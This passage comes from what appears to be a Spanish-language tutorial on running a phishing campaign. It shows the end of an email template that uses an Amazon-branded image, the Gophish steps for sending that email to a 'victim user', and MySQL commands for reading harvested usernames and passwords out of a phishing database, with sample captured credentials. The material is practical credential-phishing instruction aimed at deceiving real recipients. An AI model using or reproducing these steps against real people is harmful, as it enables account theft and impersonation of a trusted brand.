<p><img src="https://niveldecalidad.com/wp-content/uploads/2022/09/PAGINA_AMAZON_2-02.png" width="100" /></p>
</div>
</body>
</html>

Lo guardamos y ya podremos enviarlo al usuario victima de la siguiente manera...

Volvemos por donde lo dejamos en la herramienta Gophish en la zona de Campaigns dejando la configuracion que mencione anteriormente y estando en la parte de Send Email pondremos el email del usuario victima y le daremos al boton de Send una vez hecho esto, ya le habria llegado al usuario y solo seria cuestion de esperar...

Si el usuario hubiera picado y hubiera introducido las credenciales en la pagina del login phishing lo veremos de la siguiente manera llendo a mysql y haciendo lo siguiente...

mysql -h localhost -u root -proot
USE phishing_db;
SELECT * FROM credentials;

Info:

+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | admin    | root     |
+----+----------+----------+
1 row in set (0.020 sec)

Y como veremos las credenciales fueron registradas perfectamente...

Last updated